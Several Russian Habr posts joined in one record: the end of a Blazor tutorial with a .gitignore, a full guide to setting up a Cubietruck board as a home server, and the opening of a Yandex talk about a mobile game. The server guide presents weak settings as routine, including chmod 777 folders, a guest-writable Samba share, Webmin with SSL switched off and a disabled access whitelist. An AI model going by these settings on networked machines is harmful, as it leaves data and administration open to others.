# Uncomment if you have tasks that create the project's static files in wwwroot
#wwwroot/
# Visual Studio 2017 auto generated files
Generated\ Files/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
# NUNIT
*.VisualState.xml
TestResult.xml
# Build Results of an ATL Project
[Dd]ebugPS/
[Rr]eleasePS/
dlldata.c
# Benchmark Results
BenchmarkDotNet.Artifacts/
# .NET Core
project.lock.json
project.fragment.lock.json
artifacts/
**/Properties/launchSettings.json
# StyleCop
StyleCopReport.xml
# Files built by Visual Studio
*_i.c
*_p.c
*_i.h
*.ilk
*.meta
*.obj
*.iobj
*.pch
*.pdb
*.ipdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.svclog
*.scc
# Chutzpah Test files
_Chutzpah*
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opendb
*.opensdf
*.sdf
*.cachefile
*.VC.db
*.VC.VC.opendb
# Visual Studio profiler
*.psess
*.vsp
*.vspx
*.sap
# Visual Studio Trace Files
*.e2e
# TFS 2012 Local Workspace
$tf/
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
*.DotSettings.user
# JustCode is a .NET coding add-in
.JustCode
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# AxoCover is a Code Coverage Tool
.axoCover/*
!.axoCover/settings.json
# Visual Studio code coverage results
*.coverage
*.coveragexml
# NCrunch
_NCrunch_*
.*crunch*.local.xml
nCrunchTemp_*
# MightyMoose
*.mm.*
AutoTest.Net/
# Web workbench (sass)
.sass-cache/
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.[Pp]ublish.xml
*.azurePubxml
# Note: Comment the next line if you want to checkin your web deploy settings,
# but database connection strings (with potential passwords) will be unencrypted
*.pubxml
*.publishproj
# Microsoft Azure Web App publish settings. Comment the next line if you want to
# checkin your Azure Web App publish settings, but sensitive information contained
# in these scripts will be unencrypted
PublishScripts/
# NuGet Packages
*.nupkg
# The packages folder can be ignored because of Package Restore
**/[Pp]ackages/*
# except build/, which is used as an MSBuild target.
!**/[Pp]ackages/build/
# Uncomment if necessary however generally it will be regenerated when needed
#!**/[Pp]ackages/repositories.config
# NuGet v3's project.json files produces more ignorable files
*.nuget.props
*.nuget.targets
# Microsoft Azure Build Output
csx/
*.build.csdef
# Microsoft Azure Emulator
ecf/
rcf/
# Windows Store app package directories and files
AppPackages/
BundleArtifacts/
Package.StoreAssociation.xml
_pkginfo.txt
*.appx
# Visual Studio cache files
# files ending in .cache can be ignored
*.[Cc]ache
# but keep track of directories ending in .cache
!*.[Cc]ache/
# Others
ClientBin/
~$*
*~
*.dbmdl
*.dbproj.schemaview
*.jfm
*.pfx
*.publishsettings
orleans.codegen.cs
# Including strong name files can present a security risk
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
#*.snk
# Since there are multiple workflows, uncomment next line to ignore bower_components
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
#bower_components/
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file
# to a newer Visual Studio version. Backup files are not needed,
# because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
ServiceFabricBackup/
*.rptproj.bak
# SQL Server files
*.mdf
*.ldf
*.ndf
# Business Intelligence projects
*.rdl.data
*.bim.layout
*.bim_*.settings
*.rptproj.rsuser
# Microsoft Fakes
FakesAssemblies/
# GhostDoc plugin setting file
*.GhostDoc.xml
# Node.js Tools for Visual Studio
.ntvs_analysis.dat
node_modules/
# Visual Studio 6 build log
*.plg
# Visual Studio 6 workspace options file
*.opt
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
*.vbw
# Visual Studio LightSwitch build output
**/*.HTMLClient/GeneratedArtifacts
**/*.DesktopClient/GeneratedArtifacts
**/*.DesktopClient/ModelManifest.xml
**/*.Server/GeneratedArtifacts
**/*.Server/ModelManifest.xml
_Pvt_Extensions
# Paket dependency manager
.paket/paket.exe
paket-files/
# FAKE - F# Make
.fake/
# JetBrains Rider
.idea/
*.sln.iml
# CodeRush
.cr/
# Python Tools for Visual Studio (PTVS)
__pycache__/
*.pyc
# Cake - Uncomment if you are using it
# tools/**
# !tools/packages.config
# Tabs Studio
*.tss
# Telerik's JustMock configuration file
*.jmconfig
# BizTalk build output
*.btp.cs
*.btm.cs
*.odx.cs
*.xsd.cs
# OpenCover UI analysis results
OpenCover/
# Azure Stream Analytics local run output
ASALocalRun/
# MSBuild Binary and Structured Log
*.binlog
# NVidia Nsight GPU debugger configuration file
*.nvuser
# MFractors (Xamarin productivity tool) working folder
.mfractor/
# sqlite
*.db
# Don't ignore server launchSettings.json. We need a specific port number for auth to work.
!**/BlazingPizza.Server/Properties/launchSettings.json
```
После этого количество не закомиченных файлов должно будет резко уменьшится до 31.
Создадим наш первый коммит на вкладке Repository:
![](https://habrastorage.org/r/w1560/webt/op/1q/il/op1qillbrks-dougddi10t2w0f4.png)
Вводим в описание комита «initial commit» и включаем в комит все файлы нажав на **«Unversioned files»** => **«Add to VCS»**:
![](https://habrastorage.org/r/w1560/webt/nt/dk/t3/ntdkt3zpjihhnwi4szqo7bvxs98.png)
С инфраструктурой все более менее готово, немного поговорим о содержимом солюшена.
Содержимое Solution
-------------------
| | |
| --- | --- |
| BlazingPizza.Client | Содержит UI компоненты для нашего приложения. Так же в этом приложении в файле **Startup.cs** находится **< аpp >** создающий точку входа в наше приложение на стороне клиента. Ключевым компонентом приложения является App.razor он ассоциируется с тэгом **< аpp >** на странице index.html и загружается в первую очередь при старте приложения.
wwwroot/index.html — корневая страница нашего веб приложения, которая представляет из себя обычную html страницу c нестандартным элементом **< app >** .
Кроме того здесь же находится скрипт **\_framework/blazor.webassembly.js** который отвечает за загрузку **.Net рантайма**, то есть **Mono** и всех сборок приложения. После этого производит инициализацию для запуска приложения. |
| BlazingPizza.Server | Этот проект появился у нас в солюшене по причине того что при создании приложения из темплейта blazorwasm мы добавили параметр -ho, что значит “Hosted deployment with ASP.NET Core – в этом случае хостить и обрабатывать запросы к приложению будет **ASP.NET Core** приложение. Так же утилита **dotnet** при использовании переключателя -ho создала для нас **контроллеры**, которые можно использовать для реализации web api. Обращаться к нему конечно сможет не только веб приложение, но и все что угодно, мобильные приложения, или например какие-то внешние клиенты. Второй моделью является **Standalone hosting** например на IIS, его мы рассматривать не будем. |
| BlazingPizza.Shared(будет переименован в BlazingPizza.DomainModels) | Содержит классы которые вы можете шарить между клиентской и серверной частью. По идее это должно сэкономить вам время и силы. Но как говорится, благими намерениями выстлана дорога в ад.
Простой пример: у нас есть класс Pizza, вы хотите использовать его и на стороне клиента для отображения пиццы, и отдавать его контроллером. Вначале все хорошо, потом у вас появляется идея навесить на него какие-то атрибуты связанные с отображением или добавить какие-то **вычисляемые property**. Потом у вас появляется мобильный клиент, где эта логика не нужна и вообще он например будет написан на **JavaScript** или **Kotlin**. |
Прямо сейчас переименуем проект **BlazingPizza.Shared** в **BlazingPizza.DomainModels**. Здесь надо сказать что **Rider** несмотря на пометку experimental отлично справился. Запустите проект и убедитесь что все функционирует и ничего не поломано
![](https://habrastorage.org/r/w1560/webt/fs/qw/3n/fsqw3nh4oqxlw7anofq0_q7ozbs.png)
Здесь неплохо было бы создать комит с изменениями, хотя бы для того что бы просто увидеть как много Rider сделал за нас, напомню если бы это был **Visual Studio Code**, все это пришлось бы делать ручками самому, посмотрите diff файлов кликнув на них.
![](https://habrastorage.org/r/w1560/webt/my/if/km/myifkm56d5i37nrvprtt_zdmzgo.png)
Добавим новые Projects
----------------------
Добавим ещё несколько проектов, начнем с **BlazingPizza.ViewModels**. В нём будут отображаться модели отображения на клиенте. Для добавления кликнем на солюшене правой кнопкой и выберем **Add => New Project**(тип проекта в этом и в последующих в этой части **Class Library**)
![](https://habrastorage.org/r/w1560/webt/42/jj/iw/42jjiw_qw5txfi5acdavchdmxga.png)
| | |
| --- | --- |
| BlazingPizza.DataAccess.Models | Модели используемые в слое для доступа к данным из БД |
| BlazingPizza.DataAccess.Infrastructure | Все что, что ответственно за взаимодействие с базой данных |
| BlazingPizza.Services.Interfaces | Интерфейсы для сервисов, отделены от реализаций что-бы в случае использования других имплементаций отличных от дефолтных не было необходимости таскать их вместе с собой. |
| BlazingPizza.Services | Имплементации сервисов, например **PizzaService**, который будет добавлять пиццу в **БД** выполняя при этом какие то проверки связанные с бизнес логикой. |
Если что-то пошло не так, или просто не хотите тратить время на настройку и начать сразу со второго урока, [исходники здесь](https://github.com/Sm1le291/BlazingPizzaExtended).
Ой да, чуть не забыл :) [Ссылка на оригинальный проект (MIT License)](https://github.com/dotnet-presentations/blazor-workshop). | https://habr.com/ru/post/486570/ | null | ru | null |
# Cubietruck. Уютный, домашний сервер
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/1a9/c3a/e83/1a9c3ae831419e5ed62b0c44e5c86a15.jpg)
Недавно купил вот такую красоту.
Поигрался с Android на ней и решил сделать домашний сервер на замену RaspberryPI.
*\*Картинка не моя… если разберу хлам — сделаю свою.*
> *###### От автора, т.е. меня:
> Не судите строго, это моя первая статья.
> Буду рад конструктивной критике и помощи от более скиллованых пользователей!
> Заранее Спасибо!
>
>
>
> По мотивам — <http://www.cubieforums.com/index.php/topic,1650.0.html>*
Ну чтож, начнем пожалуй!
##### 1. Введение
2. Установка Системы
* Установка системы в NAND
* Установка системы на SD
* Перенос системы в SATA
* Перенос системы в NAND
3. Первое включение
* Смена порта SSH
* Настройка сети
* Установка часового пояса
* Автоматическое монтирование раздела HDD
4. Настройка сервера
* Установка Nginx + php5-fpm + mysql
* Установка торрент клиента Transmission
* Установка Samba
5. Удаленное управление Ajenti/Webmin
#### 1. Введение
Основной задачей была замена малинки на что-то более шустрое и с нормальной скоростью доступа к жесткому диску, т.к. основное предназначение сего сервера — это файлопомойка, медиасервер, торрентокачалка.
Остановался на Cubietruck, она-же Cubieboard3.
Характеристики уже проскакивали на хабре [habrahabr.ru/post/186576](http://habrahabr.ru/post/186576/)
В дополнение я купил 1Тб SATA HDD [Hitachi 7K1000](http://www.thg.ru/storage/obzor_hitachi_travelstar_7k1000_test/print.html)
*Т.к. на хабре не видел полного руководства по настройке данного девайса, решил сделать свой гайд с го и гейшами.*
#### 2. Установка системы
Для CubieTruck'а существует несколько разных дистрибутивов.
Я сегодня буду рассматривать установку и настройку Cubian.
#### Установка системы в NAND
*Мне лично такой вариант установки не очень нравится, т.к. NAND имеет ограниченное количество циклов записи/перезаписи, а если у вас будет стоять SQL сервер, то эти циклы очень быстро закончатся. ИМХО!*
Скачиваете необходимый образ [здесь](http://dl.cubieboard.org/software/a20-cubietruck/)
###### Если вы вользователь Linux, то:
Берете [отсюда](http://docs.cubieboard.org/tutorials/common/livesuit_installation_guide) LinuxSuite (есть 32 и 64-битные версии)
Запускаете Livesuite
```
$ ~/Bin/LiveSuit/LiveSuit.sh
```
**скрин**![](https://habrastorage.org/r/w1560/getpro/habr/post_images/072/9c5/176/0729c5176e64d0685aae99cfa111ec1b.png)
Выбирате образ для заливки
**скрин**![](https://habrastorage.org/r/w1560/getpro/habr/post_images/1a7/f6b/580/1a7f6b5801cba3b2e2c2dae888492262.png)
Переводите устройство в режим FEL
1. Зажимаете кнопку FEL
**скрин**![](https://habrastorage.org/r/w1560/getpro/habr/post_images/62d/7f5/f7e/62d7f5f7e759e715f257dc03b14cca01.png)
2. Втыкаете miniusb кабель в плату и ждете запрос от Livesuite.
ВНИМАНИЕ: многие USB порты не дадут нужного питания плате, поэтому перед тем как нажать «Да» — подключите плату к блоку питания (рекомендуется 5В не менее 3А)
3. Жмете «Да»
**скрин**![](https://habrastorage.org/r/w1560/getpro/habr/post_images/191/cd6/807/191cd68070296b0720f3f185e848ac03.png)
Дожидаетесь пока образ полностью зальется на ваше устройство.
**скрин**![](https://habrastorage.org/r/w1560/getpro/habr/post_images/2a3/690/671/2a36906715485219a4a1281c02dcd648.png)
Теперь можете отключать устройство от ПК и запускать отдельно ))
###### Если вы пользователь Windows, то:
— берете [отсюда](http://docs.cubieboard.org/tutorials/common/livesuit_installation_guide) PhoenixSuite.
Запускаете PhoenixSuite:
**скрин**![](https://habrastorage.org/r/w1560/getpro/habr/post_images/034/ea9/958/034ea99586345d5b486f2e6231bb36b3.png)
Выбирате образ для заливки
**скрин**![](https://habrastorage.org/r/w1560/getpro/habr/post_images/93f/dd2/c96/93fdd2c96faeb030b4f0cd818d704502.png)
Переводите устройство в режим EFL
1. Зажимаете кнопку EFL
**скрин**![](https://habrastorage.org/r/w1560/getpro/habr/post_images/62d/7f5/f7e/62d7f5f7e759e715f257dc03b14cca01.png)
**скрин**![](https://habrastorage.org/r/w1560/getpro/habr/post_images/217/cb1/9e1/217cb19e104dd8b2691b8aa628f05ff3.png)
2. Втыкаете miniusb кабель в плату и ждете запрос от Livesuite.
ВНИМАНИЕ: многие USB порты не дадут нужного питания плате, поэтому перед тем как нажать «Да» — подключите плату к блоку питания (рекомендуется 5В не менее 3А)
3. Жмете «Да»
Ждете пока образ полностью зальется на ваше устройство.
Теперь можете отключать устройство от ПК и запускать отдельно.
#### Установка системы на SD карту
Скачиваем необходимый образ [отсюда](http://cubian.org/downloads/):
Я для примера буду пользоваться дистрибутивом Cubian.
Если у вас Linux:
Разархивируйте скачанный архив.
Запишите образ на вашу SD карту
```
dd if=путь_к_образу of=/dev/ваша_sd_карта bs=4096; sync
```
Например:
```
dd if=/home/pupkin/Cubian-base-r5-a20-ct.img of=/dev/sdb1 bs=4096; sync
```
По окончании можете вытащить карту и установить её в ваш Cubietruck.
Если вы пользователь Windows:
— Скачиваете Image writer, [github.com/downloads/openSUSE/kiwi/ImageWriter.exe](https://github.com/downloads/openSUSE/kiwi/ImageWriter.exe) или [cubieplayer.github.io/Cubian/tools/;](http://cubieplayer.github.io/Cubian/tools/;)
— Разархивируйте полученный файл;
— Переименуйте файл из img в raw (программа находит только такое расширение).
— Запишите образ на вашу SD карту:
#### Перенос системы на SATA диск
Для переноса системы из NAND раздела на SATA диск вам потребуется выполнить несколько команд:
логинимся под рутом
```
sudo su - root
```
создаем папки для монтирования разделов
```
mkdir /tmp/1 /tmp/target
```
монтируем NAND раздел
```
mount /dev/nandb /tmp/1
```
форматируем SATA раздел в ext4
```
mkfs.ext4 /dev/sda1
```
монтируем SATA раздел
```
mount /dev/sda1 /tmp/target
```
Перемещаем систему
```
(cd /tmp/1; tar --backup -c *) |tar -C /tmp/target -xv
```
Изменяем настройки загрузки
```
mount /dev/nanda /mnt/
nano /mnt/uEnv.txt
```
(Замените root=/dev/sda1)
В итоге, файл должен выглядеть так:
```
cat /mnt/uEnv.txt
root=/dev/sda1
extraargs=console=tty0 hdmi.audio=EDID:0 disp.screen0_output_mode=EDID:1280x720p50 rootwait panic=10 rootfstype=ext4 rootflags=discard
```
Синхронизируем наши изменения
```
sync
```
Отмонтируем раздел
```
umount /mnt
```
и ребут!
```
reboot
```
#### Перенос системы с SD карты в NAND раздел
После копирования образа и загрузки с SD карты вы можете перенести вашу систему в NAND раздел с помощью одной простой комманды:
```
sudo ~/nandinstall/install.sh
```
Если в вашем дистрибутиве нет такого скрипта вы можете его скачать и установить:
```
apt-get install cubian-nandinstall && sudo cubian-nandinstall
```
#### 3. Первое включение
Итак зайдя в свой домашний роутер, я увидел, что мой кубик получил адрес 192.168.0.108
Подключаемся к нему. Если вы подключаетесь с Linux машины, то открываем терминал и пишем
```
ssh -p 36000 192.168.0.108 -l cubie
```
Где 36000, порт для SSH соединения. В целях безопасности выбран нестандартный порт, как его поменять написано [здесь](#ssh). cubie — это логин пользователя, пароль тоже cubie
После чего должно пройти соединение и появиться сообщение о добавлении ключа SSH соединения в базу данных ключей. Оно появляется только один раз, при добавлении новой комбинации ключ+устройство. Пишем yes.
Если подключаемся с Windows машины, то выбираем SSH клиент по вашему вкусу, в большинстве случаев это Putty.
Подключаемся и первым делом меняем пароль пользователя:
```
sudo passwd cubie
```
И создаем пользователя root, который по умолчанию отсутствовал в целях безопасности, но нам он потом будет нужен, так что создадим его сейчас:
```
sudo passwd root
```
##### Смена порта подключения SSH
Если вас не устраивает порт 36000 для SSH доступа, можно сменить его на стандартный порт 22:
Открываем файл /etc/ssh/sshd\_config
```
sudo nano /etc/ssh/sshd_config
```
Находим строчку
```
Port 36000
```
Меняем на
```
Port 22
```
Теперь кубик доступен так:
```
ssh cubie@192.168.0.108
```
##### Настройка сети
По умолчанию настройки хранятся в файле /etc/network/interfaces.
Посмотрим что у нас:
```
sudo cat /etc/network/interfaces
```
Видим конфигурацию сети по умолчанию
```
auto eth0
allow-hotplug eth0
iface eth0 inet dhcp
```
auto eth0 подразумевает автоконфигурирование интерфейса при загрузке
allow-hotplug eth0 и iface eth0 inet dhcp подразумевает, что когда ядро Linux определит физический интерфейс eth0, строка allow-hotplug поднимет его, а строка iface присвоит ему адрес по DHCP.
Внимание! Такая конфигурация настраивает сетевой адрес по DHCP если кабель подключен при загрузке. Если же кабель при загрузке не был подключен, то загрузка блокируется на одну минуту для ожидания таймаута DHCP. Таким образом, если вам совершенно не нужна проводная сеть, то закомментируйте или удалите строчку auto eth0 в /etc/network/interfaces, это сэкономит вам время при загрузке.
Чтобы закомментировать просто добавьте # перед auto eth0, это выглядит так #auto eth0
Вы все еще сможете поднять и настроить интерфейс вручную, выполнив команду
```
ifup eth0
```
Если вам требуется прописать постоянный адрес кубику, то вот пример конфигурации
```
allow-hotplug eth0
iface eth0 inet static
address 192.168.1.110
netmask 255.255.255.0
gateway 192.168.1.1
dns-nameservers 192.168.1.1
```
*Хотя я больше склоняюсь к автоматическому присвоению адреса от роутера.*
**Настройка wi-fi**
Загрузка модуля
```
modprobe bcmdhd
```
Для того, чтобы wi-fi автомачтиески загружался при старте системы добавьте строку «bcmdhd» в конец файла **/etc/modules**.
Примеры команд для использования wi-fi:
```
iwlist scan
iwconfig wlan0 essid "ssid" key xxxx
iwconfig wlan0
ifconfig wlan0 up
dhclient wlan0
```
##### Установка часового пояса
Задаем часовой пояс
```
dpkg-reconfigure tzdata
```
Добавляем сервера:
```
sudo nano /etc/ntp.conf
```
```
server 0.debian.pool.ntp.org iburst
server 1.debian.pool.ntp.org iburst
server 0.ru.pool.ntp.org iburst
server 1.ru.pool.ntp.org iburst
```
— ближайшие сервера можете взять отсюда — [www.pool.ntp.org](http://www.pool.ntp.org/)
```
sudo /etc/init.d/ntp start
```
##### Автоматическое монтирование раздела HDD
Статей о монтировании разделов существует уже огромное количество, но т.к. мне это тоже понадобилось, добавлю для полноты картины.
Создаем папку, куда будет смонтирован HDD
```
sudo mkdir /media/files
```
Даем право доступа на чтение/запись для всех пользователей
```
sudo chmod 777 /media/files
```
Чтобы посмотреть какие разделы у нас на hdd пишем
```
sudo fdisk -l
```
Смотрим в конец и видим примерно следующее
**fdsik -l**
```
Disk /dev/sda: 1000.2 GB, 1000204886016 bytes
255 heads, 63 sectors/track, 121601 cylinders, total 1953525168 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 4096 bytes
I/O size (minimum/optimal): 4096 bytes / 4096 bytes
Disk identifier: 0x673511d7
Device Boot Start End Blocks Id System
/dev/sda1 2048 33556479 16777216 83 Linux
/dev/sda2 33556480 1953525167 959984344 5 Extended
/dev/sda5 33558528 1953525167 959983320 83 Linux
```
У меня три раздела на HDD, я буду монтировать третий (/dev/sda5)
Узнаем UUID нашего раздела:
```
sudo blkid
```
Пример вывода:
**blkid**
```
/dev/nanda: SEC_TYPE="msdos" LABEL="Volumn" TYPE="vfat"
/dev/nandb: UUID="fc870bf6-cf02-4f17-aab6-a2ee56137668" TYPE="ext4"
/dev/sda1: UUID="df0f786f-4b74-4710-a128-412b81a6bece" TYPE="ext4"
/dev/sda5: UUID="4dc5f707-d7fa-4a48-ad32-efddb23cbf97" TYPE="ext4"
```
Нам нужна строчка /dev/sda5, копируем все что в кавычках**```
4dc5f707-d7fa-4a48-ad32-efddb23cbf97
```**
**Помните у вас эта строчка будет иной!**
Далее открываем /etc/fstab:
```
sudo nano /etc/fstab
```
Добавляем в самый конец:
```
UUID=4dc5f707-d7fa-4a48-ad32-efddb23cbf97 /media/files ext4 defaults,acl,user,user_xattr,errors=remount-ro
```
*\* аттрибуты выставляете по своему вкусу*
Записи разделяем либо пробелом, либо табуляцией
Перезагружаемся:
```
sudo reboot
```
После перезагрузки проверяем
```
mount
```
**mount**/dev/root on / type ext4 (rw,relatime,discard,data=ordered)
devtmpfs on /dev type devtmpfs (rw,relatime,size=934508k,nr\_inodes=137526,mode=755)
tmpfs on /run type tmpfs (rw,nosuid,noexec,relatime,size=186924k,mode=755)
tmpfs on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
tmpfs on /run/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=373840k)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000)
tmpfs on /tmp type tmpfs (rw,relatime)
tmpfs on /var/tmp type tmpfs (rw,relatime)
/dev/sda5 on /media/files type ext4 (rw,nosuid,nodev,noexec,relatime,errors=remount-ro,data=ordered)
Видим, что третий раздел смонтирован в нужную папку.
#### 4. Настройка сервера
Ну и так как у меня кубик все-же это сервер — настраиваем samba, nginx, transmission.
Вы можете воспользоватся скриптом [github.com/igorpecovnik/Debian-micro-home-server](https://github.com/igorpecovnik/Debian-micro-home-server)
```
sudo apt-get -y install git
cd ~
git clone https://github.com/igorpecovnik/Debian-micro-home-server
chmod +x ./Debian-micro-home-server/install.sh
cd ./Debian-micro-home-server
sudo ./install.sh
```
Или установить только то что нужно
##### Установка Nginx + php5-fpm + mysql
Устанавливаем nginx:
```
sudo apt-get install nginx
```
Запускаем
```
sudo /etc/init.d/nginx start
```
Открываем браузер, пишем адрес кубика.
Видим следующую надпись
**Welcome to nginx!**
Сервер запущен
Для примера наши сайты будут хранится на уже примонтированном жестком диске.
Для этого нужно поправить конфиг nginx
```
sudo nano /etc/nginx/sites-available/default
```
Находим строчку
```
root /usr/share/nginx/www
```
Меняем на
```
root /media/files/www
```
Сохраняем, закрываем редкатор
Не забываем дать доступ пользователю nginx'a к папке:
```
sudo chown www-data -R /media/files/www/
sudo chmod 0755 -R /media/files/www/
```
Перезапускаем nginx
```
sudo /etc/init.d/nginx restart
```
или
```
sudo service nginx restart
```
Для статичных сайтов этого, в принципе, достаточно.
Если вам необходимо php скрипты — продолжаем редактировать /etc/nginx/sites-available/default
Находим в файле строку:
```
index index.html index.htm
```
Через пробел добавляем
```
index.php
```
Теперь включим возможность **обработки php**.
**Находим блок**
```
# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
#
#location ~ \.php$ {
# fastcgi_split_path_info ^(.+\.php)(/.+)$;
# # NOTE: You should have "cgi.fix_pathinfo = 0;" in php.ini
#
# # With php5-cgi alone:
# fastcgi_pass 127.0.0.1:9000;
# # With php5-fpm:
# fastcgi_pass unix:/var/run/php5-fpm.sock;
# fastcgi_index index.php;
# include fastcgi_params;
#}
```
**Меняем на**
```
# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
#
location ~ \.php$ {
fastcgi_split_path_info ^(.+\.php)(/.+)$;
# # NOTE: You should have "cgi.fix_pathinfo = 0;" in php.ini
#
# # With php5-cgi alone:
# fastcgi_pass 127.0.0.1:9000;
# # With php5-fpm:
fastcgi_pass unix:/var/run/php5-fpm.sock;
fastcgi_index index.php;
include fastcgi_params;
}
```
Устанавливаем **mysql**
```
sudo apt-get -y install mysql-client mysql-server openssl libsasl2-modules
```
Устанавливаем php5-fpm и модули
```
sudo apt-get install -y php5-fpm
sudo apt-get install -y php5-mysql php5-curl php5-gd php5-intl php-pear php5-imagick php5-imap php5-mcrypt php5-memcache php5-memcached php5-ming php5-ps php5-pspell php5-recode php5-snmp php5-sqlite php5-tidy php5-xmlrpc php5-xsl memcached
sudo apt-get install -y php-apc
sudo apt-get install -y fcgiwrap
```
#### Установка торрент клиента Transmission
Установка Transmission-daemon
```
sudo apt-get install transmission-daemon
```
После завершения установки сервис автоматически запускается с настройками по умолчанию, остановим его
```
sudo /etc/init.d/transmission-daemon stop
```
или
```
service transmission-daemon stop
```
Теперь отредактируем конфиг
```
sudo nano /etc/transmission-daemon/settings.json
```
Все параметры рассматривать не будем, самые основные
```
"download-dir": "/var/lib/transmission-daemon/downloads"
```
Путь к закачиваемым файлам
Меняем на свой, например:
```
"download-dir": "/mnt/hdd"
```
*P.s. Надеюсь у вас по этому пути уже смонтирован жесткий диск*
Разрешаем форвардинг, не забывая включить UPnP в своем роутере
```
"port-forwarding-enabled": false,
```
Меняем на
```
"port-forwarding-enabled": true
```
Если хотим заходить в веб интерфейс по паролю, оставляем:
```
"rpc-enabled": true
```
иначе меняем на:
```
"rpc-enabled": false
```
Удаляем все, что в кавычках, пишем вместо этого желаемый пароль. Пароль при запуске демона зашифруется.
```
"rpc-password": "{f40c259f547fb2b99f7faa1e27d6e9b31905e9c1DcVjhWHD"
```
Например:
```
"rpc-password": "cubietruck"
```
Порт, на который вешаем web интерфейс
```
"rpc-port": 9091
```
Имя пользователя:
```
"rpc-username": "transmission"
```
меняем на свое понравившееся:
```
"rpc-username": "pupkin"
```
Оставляем, если хотим, чтобы к веб интерфейсу был доступ только с локальной машины:
```
"rpc-whitelist-enabled": true
```
иначе меняем
```
"rpc-whitelist-enabled": false
```
Сохраняем конфиг
Запускаем сервис
```
sudo /etc/init.d/transmission-daemon start
```
или
```
service transmission-daemon start
```
Теперь проверим запустился ли сервис и веб интерфейс, открываем в браузере адрес
```
http://ip_вашего_кубика:9091
```
Если видим приглашение ввести логин и пароль, значит transmission работает.
#### Установка Samba
```
sudo apt-get install samba samba-common-bin
```
Так как мой кубик находится в домашней сети, я решил не устанавливать пароль на доступ к папкам, а просто настроил публичный шаринг для всей сети.
Для этого открываем файл smb.conf:
```
sudo nano /etc/samba/smb.conf
```
Вместо всего имеющегося содержимого пишем:
```
[global]
workgroup = WORKGROUP
guest ok = yes
netbios name = cubieT
security = share
browseable = yes
[files]
path = /media/files
writeable = yes
browseable = yes
```
<
Сохраняем. Перезапускаем Samba:
```
sudo /etc/init.d/samba restart
```
С этого момента в вашей сети появилось новое устройство cubieT, которое имеет папку files.
В ней Вы можете создать любые файлы, которые будут доступны для просмотра во всей сети с помощью браузера.
#### 5. Удаленное управление Ajenti/Webmin
**Webmin** лидер на рынке свободного серверного ПО для администрирования, имеет множество подключаемых модулей на любой вкус.
Рассмотрим его установку
Добавим репозиторий Webmin в список репозиториев
```
sudo nano /etc/apt/sources.list
```
Вставляем в конец списка следующие строки
```
deb http://download.webmin.com/download/repository sarge contrib
deb http://webmin.mirror.somersettechsolutions.co.uk/repository sarge contrib
```
Сохраняем, выходим из редактора.
Добавляем ключ репозитория в список ключей, для этого нужно быть под рутом.
Включаем суперюзера, переходим в домашнюю папку root, скачиваем ключ, устанавливаем.
```
sudo su
cd /root
wget http://www.webmin.com/jcameron-key.asc
apt-key add jcameron-key.asc
```
Обновляем список пакетов, устанавливаем webmin
```
sudo apt-get update && apt-get install webmin
```
Все зависимости установятся автоматически.
Открываем браузер, пишем
```
https://ip_вашего_кубика:10000
```
Браузер ругается и предлагает покинуть сайт, но мы добавляем сайт в доверенную зону и входим.
Пробуем сначала войти пользователем cubie, если не получается, то рутом.
Можно отключить шифрование (https):
Открываем файл конфигурации webmin
```
sudo nano /etc/webmin/miniserv.conf
```
находим строчку
```
ssl=1
```
1 меняем на 0
Перезапускаем webmin
```
sudo /etc/init.d/webmin restart
```
Теперь webmin работает по адресу
```
http://ip_вашего_кубика:10000
```
Если вас не устраивает webmin, можете попробовать ajenti. Тем более, что никаких дополнительных движений делать не нужно, ajenti уже установлен в Cubian, нужно лишь обновить систему и он заработает.
После обновления системы будет доступен по адресу
```
http://ip_вашего_кубика:8000
```
\*\*\*В планах разобраться с возможностями GPIO, т.к. на малинке был организован небольшой логгер данных с датчиков DHT22 и DS18B20. | https://habr.com/ru/post/225371/ | null | ru | null |
# Как я вышел на рынок мобильных игр, постоял и ушел. Семинар в Яндексе
Привет, меня зовут Всеволод Шмыров. В Яндексе я занимаюсь разработкой интерфейсов. Но этот пост посвящен тому, как я just for fun попробовал выйти на рынок игр под Windows Phone. Я разработал небольшую игру-арканоид. Примерно год назад я подготовил небольшой доклад об этом и представил его своим коллегам. Доклад охватывает все четыре стадии, которые мне пришлось пройти: подготовка, разработка, публикация и после публикации. Сегодня я хочу поделиться этим рассказом с вами. Сразу оговорюсь, что это не история успеха. Популярной моя игра так и не стала, так что идею заработать на ней я забросил и сделал игру бесплатной.
[![](https://habrastorage.org/r/w1560/files/77c/e46/f2d/77ce46f2d03b4c0dbe076b60912f5470.png)](http://habrahabr.ru/company/yandex/blog/233487/)
